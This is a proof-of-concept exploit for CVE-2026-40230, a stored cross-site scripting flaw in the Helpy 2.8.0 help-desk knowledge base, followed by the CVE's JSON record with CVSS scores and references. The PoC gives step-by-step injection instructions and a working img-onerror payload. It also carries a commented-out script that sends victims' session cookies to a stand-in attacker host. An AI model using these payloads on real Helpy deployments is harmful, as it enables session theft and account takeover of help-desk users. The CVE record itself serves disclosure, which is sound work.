CVE-2026-40230

<!-- PoC for CVE-2026-40230 (Helpy Stored XSS) Description: Inject malicious payload into Knowledge Base Doc body. --> <!-- Step 1: Login as Admin or Agent --> <!-- Step 2: Navigate to Knowledge Base -> Create New Doc --> <!-- Step 3: Insert the following payload into the 'Body' field --> <div> <h2>Malicious Document</h2> <!-- Payload to execute JavaScript --> <img src=x onerror=alert('CVE-2026-40230_XSS')> <!-- Alternative Payload: Steal Cookie --> <!-- <script> var i = new Image(); i.src = 'http://attacker-server.com/steal.php?cookie=' + document.cookie; </script> --> </div>

{"cve": {"id": "CVE-2026-40230", "sourceIdentifier": "[email protected]", "published": "2026-04-29T16:16:24.350", "lastModified": "2026-05-01T12:26:33.710", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Helpy contains a stored cross-site scripting vulnerability in the knowledge base Doc rendering logic. An authenticated attacker with admin or agent editor privileges can persist arbitrary HTML or JavaScript in the body field of a knowledge base Doc.This issue affects helpy: 2.8.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:helpy.io:helpy:2.8.0:*:*:*:*:*:*:*", "matchCriteriaId": "F7548AEC-F6A1-40AE-8378-B5A1BFB8A8BE"}]}]}], "references": [{"url": "https://fluidattacks.com/es/advisories/prisioneros", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/helpyio/helpy", "source": "[email protected]", "tags": ["Product"]}]}}